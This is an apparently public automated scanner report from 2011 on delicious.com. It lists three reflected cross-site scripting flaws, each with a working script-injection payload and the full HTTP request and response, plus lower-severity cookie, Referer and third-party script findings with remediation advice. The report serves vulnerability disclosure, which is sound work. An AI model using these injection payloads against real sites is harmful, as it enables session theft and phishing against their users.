XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, delicious.com/search

Report generated by XSS.CX at Sat Aug 20 17:25:15 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

XSS in delicious.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1. Cross-site scripting (reflected)

1.1. http://www.delicious.com/favicon.ico [REST URL parameter 1]

1.2. http://www.delicious.com/search [REST URL parameter 1]

1.3. http://www.delicious.com/searchsuggest [REST URL parameter 1]

2. Cookie scoped to parent domain

2.1. http://www.delicious.com/search

2.2. http://www.delicious.com/searchsuggest

3. Cross-domain Referer leakage

4. Cross-domain script include

5. Cookie without HttpOnly flag set

5.1. http://www.delicious.com/search

5.2. http://www.delicious.com/searchsuggest

6. Robots.txt file



1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.delicious.com/favicon.ico [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.delicious.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4dc7"><script>alert(1)</script>71d83738805 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icof4dc7"><script>alert(1)</script>71d83738805 HTTP/1.1
Host: www.delicious.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BX=74fg4m5750fq3&b=3&s=gj; delicious_us_production=NMx.ryJGE7fGDI8WNusx3b0B4XxTGukqJguCaXASRjfpndL8J685D7cQYct43AiwAe0PqgKc4CdlCnEeuydsJXH9KzWP4zmKmsiXLqusNmxwsyqQKHurpB_lCCqoMVODYIi1ItXiZS0pGctVlmmGZNi.1Bw1XFDnhqraZNCKAkOzCk8M4fISRKQUZJHRfEY8F5vRABm0kH.IBu7L01Ja2JOFjl.xjPUG2MjFnH2jspyyJ_MAKIkEqnkFcgb3TfH5v4kMoa6bQhJ4RPi1B254Gmhg04ZWLa9LLhFr95msfM4R8h7ml5OKgod3v35bFb.3QlCr0wKl5Ks-

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:12:56 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Set-Cookie: searchTray=deleted; expires=Fri, 20-Aug-2010 23:12:55 GMT; path=/; domain=.delicious.com
Pragma: no-cache
Cache-Control: no-store, must-revalidate, no-cache, private, max-age=0, post-check=0, pre-check=0
X-Xss-Protection: 0
Expires: Sun, 1 Jan 2006 01:00:00 GMT
X-Ua-Compatible: IE=7
Set-Cookie: delicious_us_production=Xeyw2wh5E7c_Z9oa6u2HI_IHgtemRZkuuv2kZDLlD3_C9c4lcGqquSzVKWYEhfe0PSrq04aA745CJYVRTsaSErgbEw1Ij2FuXjE9d0zVw1wBxREWy8SdpcxT_JXQ_ONGsF6xHCZh3gL74p5Duq.mJ26glmv1C7sGJIzHGoyEL2PDJP6VQQypZhfPls6jpACpom1IoO0KI9JEHwsWFF8eCfRKoFZlUqvBQetf8nXujJh4YPVvfqvGVY7UwAf5RCxlD_3AnRg0SnSgkM5mjN6tZcCcEF_MCttvOlwMvEYtVsqdUG1ysfbx4l5b0EiHbd4_wMHHL6ovnC4-; expires=Mon, 20-Aug-2012 23:12:56 GMT; path=/; domain=.delicious.com
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Age: 0
Proxy-Connection: keep-alive
Server: YTS/1.19.5
Content-Length: 16093

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta h
...[SNIP]...
<a href="/favicon.icof4dc7"><script>alert(1)</script>71d83738805?settagview=cloud">
...[SNIP]...

1.2. http://www.delicious.com/search [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.delicious.com
Path:   /search

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0629"><script>alert(1)</script>666a6c9bde3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /searchb0629"><script>alert(1)</script>666a6c9bde3?p=xss.cx&chk=&fr=del_icio_us&lc=1&atags=&rtags=&context=all|| HTTP/1.1
Host: www.delicious.com
Proxy-Connection: keep-alive
Referer: http://www.ohstats.com/worth/xss.cx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BX=74fg4m5750fq3&b=3&s=gj

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:13:47 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Set-Cookie: searchTray=deleted; expires=Fri, 20-Aug-2010 23:13:46 GMT; path=/; domain=.delicious.com
Pragma: no-cache
Cache-Control: no-store, must-revalidate, no-cache, private, max-age=0, post-check=0, pre-check=0
X-Xss-Protection: 0
Expires: Sun, 1 Jan 2006 01:00:00 GMT
X-Ua-Compatible: IE=7
Set-Cookie: delicious_us_production=JP9xK3aqE7cdGPK1LYLGUN0T2oy19lAsHKlnXDVdhc90oHU1sLodKO4P0pTFGZIhU6oUcyL5GlE7V.U.5o94iPuCG5Yo4FxS8oQE8F6peb18SlW0.sLszU7gPhOMFYsM_JwYQCgN1mK912atGXsJHvHhwCmZfYWsxZpc6brV9io_XQKguxht81Xno78oNJ4vWIMv9LX5VX5c4mvHniC0.EIwaPCSOUVAyz.vkUZtOGLCwlzOMRkolYbCqHFOiHg4q3sR_ereeXUSGpDQaM6nIPWEvGgFXXJr1IB4l2a4k3vK4hQo72jAuoLavppqM9eOa.MmBdo168Y-; expires=Mon, 20-Aug-2012 23:13:47 GMT; path=/; domain=.delicious.com
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Age: 0
Proxy-Connection: keep-alive
Server: YTS/1.19.5
Content-Length: 16525

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta h
...[SNIP]...
<a href="/searchb0629"><script>alert(1)</script>666a6c9bde3?settagview=cloud">
...[SNIP]...

1.3. http://www.delicious.com/searchsuggest [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.delicious.com
Path:   /searchsuggest

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c6422"><script>alert(1)</script>ec194b66ed2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /searchsuggestc6422"><script>alert(1)</script>ec194b66ed2?query=xss.cx HTTP/1.1
Host: www.delicious.com
Proxy-Connection: keep-alive
Referer: http://www.delicious.com/search?p=xss.cx&chk=&fr=del_icio_us&lc=1&atags=&rtags=&context=all||
X-Requested-With: XMLHttpRequest, XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BX=74fg4m5750fq3&b=3&s=gj; delicious_us_production=j386RkJFE7cxQCrRG8f78ZhWKjq8VKVwPQhBmiQZT0SXuXyY86jcWgwtnFddt8tQCDJe2aIdUdu2z8MIIlC9p.YRPfKxfp.Z3xmmtEj9uc4MPMKOIuk79TcxW6.U4tutoniuovTrNE6SNnkOtPVaV1DfenYvJhahq.S3Y7iLEyZOYo43PSS9GNof_Kq3AsLAym.eKSXAl5.m6zAnw_iLCKobZkad2JQXvxvug1V.54ZfnUIwltIswycD9TjLL_IRhB8Y1YnzGrZk6zVwmwUyqfaO067NJ2A5NikpCTQlhZb_rKNsYQJP8xfAPMzRA70N3kcZFdF9Zm0-

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:12:45 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Set-Cookie: searchTray=deleted; expires=Fri, 20-Aug-2010 23:12:44 GMT; path=/; domain=.delicious.com
Pragma: no-cache
Cache-Control: no-store, must-revalidate, no-cache, private, max-age=0, post-check=0, pre-check=0
X-Xss-Protection: 0
Expires: Sun, 1 Jan 2006 01:00:00 GMT
X-Ua-Compatible: IE=7
Set-Cookie: delicious_us_production=Agj9o8BsE7eDaJqKtAxOfpqzXFPGqv1A2hz_aXuRMLreyShWZdtNqW5wkPg_vYgEHw5URkkl75BNIEDU.ERIPqJ3IE0xguSns8sz8aeOSW0zl3oW_z4uGe4DZFkNGcHjJxFSLRQbFa69bkrno0ibe0CsxkF3gm0aROTxud_CqNLfBz4FIr9h16EYZ0zuYPefu9YaoZV4rfrody6JqNt_M7syPd4gdaJT2lubiZG0mQ6xKeknA4_q.WZiyWo3KM0RJ3p3evxCZWg7x_JSEwChr1IWVyYgkepmyByhdX5yd5.4THcwYquB0TaII.I3rpQBsfj4VDmrNtU-; expires=Mon, 20-Aug-2012 23:12:45 GMT; path=/; domain=.delicious.com
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Age: 0
Proxy-Connection: keep-alive
Server: YTS/1.19.5
Content-Length: 16167

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta h
...[SNIP]...
<a href="/searchsuggestc6422"><script>alert(1)</script>ec194b66ed2?settagview=cloud">
...[SNIP]...

2. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


2.1. http://www.delicious.com/search  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.delicious.com
Path:   /search

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /search?p=xss.cx&chk=&fr=del_icio_us&lc=1&atags=&rtags=&context=all|| HTTP/1.1
Host: www.delicious.com
Proxy-Connection: keep-alive
Referer: http://www.ohstats.com/worth/xss.cx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BX=74fg4m5750fq3&b=3&s=gj

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:12:05 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Set-Cookie: searchTray=deleted; expires=Fri, 20-Aug-2010 23:12:04 GMT; path=/; domain=.delicious.com
Pragma: no-cache
Cache-Control: no-store, must-revalidate, no-cache, private, max-age=0, post-check=0, pre-check=0
X-Xss-Protection: 0
Expires: Sun, 1 Jan 2006 01:00:00 GMT
X-Ua-Compatible: IE=7
Set-Cookie: delicious_us_production=N8NpkqtEE7dYilPL6HA.VuB2tnIEX0wwl44uXtk4xsQ0c3_KaPdmtK3H3GldSdftq.FN48Om5M5901AHdQUA0UmsJgDAqxYKrJjr59_oTen83xb23wjcb9VkypBRmMOEAUNXvTsORSql_OUgUJU3EY4IwNI8IYqpknLFTKIif7QlMz_9XPeWfh8BV0m0MoPHgGpBwSYQyoLcF4DVG9ox0BIOKbv3Y7oX5r2NGVpRqa5k163ukNOnPTqNK2tSvV_YuGtUgSzwYrSluXVpDkudaVoRsPhHNGAjLhrLQ7z.STLf6lbDLCmu3S1.K2Oe0PJepASBsDzDKg4-; expires=Mon, 20-Aug-2012 23:12:05 GMT; path=/; domain=.delicious.com
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Age: 1
Proxy-Connection: keep-alive
Server: YTS/1.19.5
Content-Length: 12357

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta h
...[SNIP]...

2.2. http://www.delicious.com/searchsuggest  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.delicious.com
Path:   /searchsuggest

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /searchsuggest?query=xss.cx HTTP/1.1
Host: www.delicious.com
Proxy-Connection: keep-alive
Referer: http://www.delicious.com/search?p=xss.cx&chk=&fr=del_icio_us&lc=1&atags=&rtags=&context=all||
X-Requested-With: XMLHttpRequest, XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BX=74fg4m5750fq3&b=3&s=gj; delicious_us_production=j386RkJFE7cxQCrRG8f78ZhWKjq8VKVwPQhBmiQZT0SXuXyY86jcWgwtnFddt8tQCDJe2aIdUdu2z8MIIlC9p.YRPfKxfp.Z3xmmtEj9uc4MPMKOIuk79TcxW6.U4tutoniuovTrNE6SNnkOtPVaV1DfenYvJhahq.S3Y7iLEyZOYo43PSS9GNof_Kq3AsLAym.eKSXAl5.m6zAnw_iLCKobZkad2JQXvxvug1V.54ZfnUIwltIswycD9TjLL_IRhB8Y1YnzGrZk6zVwmwUyqfaO067NJ2A5NikpCTQlhZb_rKNsYQJP8xfAPMzRA70N3kcZFdF9Zm0-

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:12:24 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Pragma: no-cache
Cache-Control: no-store, must-revalidate, no-cache, private, max-age=0, post-check=0, pre-check=0
X-Xss-Protection: 0
Expires: Sun, 1 Jan 2006 01:00:00 GMT
X-Ua-Compatible: IE=7
Set-Cookie: delicious_us_production=3RTQoApZE7eQrtRWLdL.quzmCfdWXKZJl_ZG8ltWmJsYftfdgBPho1aXvN_tX_JXG7PhfnRMwtzXItL36T7KRtTOCVlk.amKGSOnkaIhUCY8xwRhqwFdpbz6KagZEDM.kJ5rrJVuunlfcG2gZ5cbcTDMExwrr_n2E.vJoniHOgaBQyf3CBIYB7YRiorUs.U2Km5NZOfYGJc6pl0YJ6rbfY60CbCEoM7rRN_vxO.cbpUT4rMmlGzU1vFM7_Y1Y7uZS45oM2ER90NdMPuiuQA5X1wU5imxOZp1c3Q8sv6wcQ6gY3cbfmI2L3sIu82ubREgCqnpJQTPgZo-; expires=Mon, 20-Aug-2012 23:12:24 GMT; path=/; domain=.delicious.com
Vary: Accept-Encoding
Content-Type: text/javascript; charset=utf-8
Age: 1
Proxy-Connection: keep-alive
Server: YTS/1.19.5
Content-Length: 89

{"gossip":{"qry":"xss.cx","i":"ckeLULSKQge0ycQmTCc2aA", "norm":"xss.cx", "results":[]}}

3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.delicious.com
Path:   /search

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /search?p=xss.cx&chk=&fr=del_icio_us&lc=1&atags=&rtags=&context=all|| HTTP/1.1
Host: www.delicious.com
Proxy-Connection: keep-alive
Referer: http://www.ohstats.com/worth/xss.cx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BX=74fg4m5750fq3&b=3&s=gj

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:12:05 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Set-Cookie: searchTray=deleted; expires=Fri, 20-Aug-2010 23:12:04 GMT; path=/; domain=.delicious.com
Pragma: no-cache
Cache-Control: no-store, must-revalidate, no-cache, private, max-age=0, post-check=0, pre-check=0
X-Xss-Protection: 0
Expires: Sun, 1 Jan 2006 01:00:00 GMT
X-Ua-Compatible: IE=7
Set-Cookie: delicious_us_production=N8NpkqtEE7dYilPL6HA.VuB2tnIEX0wwl44uXtk4xsQ0c3_KaPdmtK3H3GldSdftq.FN48Om5M5901AHdQUA0UmsJgDAqxYKrJjr59_oTen83xb23wjcb9VkypBRmMOEAUNXvTsORSql_OUgUJU3EY4IwNI8IYqpknLFTKIif7QlMz_9XPeWfh8BV0m0MoPHgGpBwSYQyoLcF4DVG9ox0BIOKbv3Y7oX5r2NGVpRqa5k163ukNOnPTqNK2tSvV_YuGtUgSzwYrSluXVpDkudaVoRsPhHNGAjLhrLQ7z.STLf6lbDLCmu3S1.K2Oe0PJepASBsDzDKg4-; expires=Mon, 20-Aug-2012 23:12:05 GMT; path=/; domain=.delicious.com
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Age: 1
Proxy-Connection: keep-alive
Server: YTS/1.19.5
Content-Length: 12357

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta h
...[SNIP]...
</title>
<link rel="stylesheet" type="text/css" media="screen" href="http://l.yimg.com/hr/15213726/css/del-frontend-min.css">
<!--[if IE]>
...[SNIP]...
<![endif]-->
<link rel="stylesheet" type="text/css" media="screen" href="http://l.yimg.com/hr/15213726/css/del-search-enh.css">
<script type="text/javascript" src="http://l.yimg.com/hr/15213726/js/del-frontend-min.js"></script>
...[SNIP]...
<li><a href="http://info.yahoo.com/privacy/us/delicious/" target="_blank">privacy policy</a>
...[SNIP]...
<li><a href="http://info.yahoo.com/copyright/details.html" target="_blank">copyright policy</a>
...[SNIP]...
<li><a href="http://info.yahoo.com/relevantads/" target="_blank">about our ads</a>
...[SNIP]...
</script>

<script src="http://l.yimg.com/d/lib/rapid/rapid_1.8.0.js"></script>
...[SNIP]...
<noscript><img width=1 height=1 src=//geo.yahoo.com/b?s=2015250165&A_pn=Unnamed%20Page></noscript>
<script src="http://l.yimg.com/d/lib/rapid/rapid_1.8.0.js"></script>
...[SNIP]...
<noscript><img width=1 height=1 src=//geo.yahoo.com/p?s=2015250165&A_pn=Unnamed%20Page></noscript>
...[SNIP]...

4. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.delicious.com
Path:   /search

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /search?p=xss.cx&chk=&fr=del_icio_us&lc=1&atags=&rtags=&context=all|| HTTP/1.1
Host: www.delicious.com
Proxy-Connection: keep-alive
Referer: http://www.ohstats.com/worth/xss.cx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BX=74fg4m5750fq3&b=3&s=gj

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:12:05 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Set-Cookie: searchTray=deleted; expires=Fri, 20-Aug-2010 23:12:04 GMT; path=/; domain=.delicious.com
Pragma: no-cache
Cache-Control: no-store, must-revalidate, no-cache, private, max-age=0, post-check=0, pre-check=0
X-Xss-Protection: 0
Expires: Sun, 1 Jan 2006 01:00:00 GMT
X-Ua-Compatible: IE=7
Set-Cookie: delicious_us_production=N8NpkqtEE7dYilPL6HA.VuB2tnIEX0wwl44uXtk4xsQ0c3_KaPdmtK3H3GldSdftq.FN48Om5M5901AHdQUA0UmsJgDAqxYKrJjr59_oTen83xb23wjcb9VkypBRmMOEAUNXvTsORSql_OUgUJU3EY4IwNI8IYqpknLFTKIif7QlMz_9XPeWfh8BV0m0MoPHgGpBwSYQyoLcF4DVG9ox0BIOKbv3Y7oX5r2NGVpRqa5k163ukNOnPTqNK2tSvV_YuGtUgSzwYrSluXVpDkudaVoRsPhHNGAjLhrLQ7z.STLf6lbDLCmu3S1.K2Oe0PJepASBsDzDKg4-; expires=Mon, 20-Aug-2012 23:12:05 GMT; path=/; domain=.delicious.com
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Age: 1
Proxy-Connection: keep-alive
Server: YTS/1.19.5
Content-Length: 12357

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta h
...[SNIP]...
<link rel="stylesheet" type="text/css" media="screen" href="http://l.yimg.com/hr/15213726/css/del-search-enh.css">
<script type="text/javascript" src="http://l.yimg.com/hr/15213726/js/del-frontend-min.js"></script>
...[SNIP]...
</script>

<script src="http://l.yimg.com/d/lib/rapid/rapid_1.8.0.js"></script>
...[SNIP]...
</noscript>
<script src="http://l.yimg.com/d/lib/rapid/rapid_1.8.0.js"></script>
...[SNIP]...

5. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



5.1. http://www.delicious.com/search  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.delicious.com
Path:   /search

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /search?p=xss.cx&chk=&fr=del_icio_us&lc=1&atags=&rtags=&context=all|| HTTP/1.1
Host: www.delicious.com
Proxy-Connection: keep-alive
Referer: http://www.ohstats.com/worth/xss.cx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BX=74fg4m5750fq3&b=3&s=gj

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:12:05 GMT
